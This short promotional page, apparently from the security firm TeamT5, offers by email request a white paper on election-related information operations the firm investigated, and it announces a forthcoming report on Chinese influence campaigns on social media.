From the perspective of security researchers, we integrated the Information Operations intercepted and investigated by TeamT5 over the past two years, hoping to contribute to the next democratic election.

If you are interested in this white paper, please fill out the form, and we will send you the report by email.

COMING UP NEXT: We will publish reports about how China conduct Information Operation on social media platforms, targeting domestic citizens and foreign audiences. If you don't want to miss our next report, follow us on [Twitter](https://twitter.com/TeamT5_Official).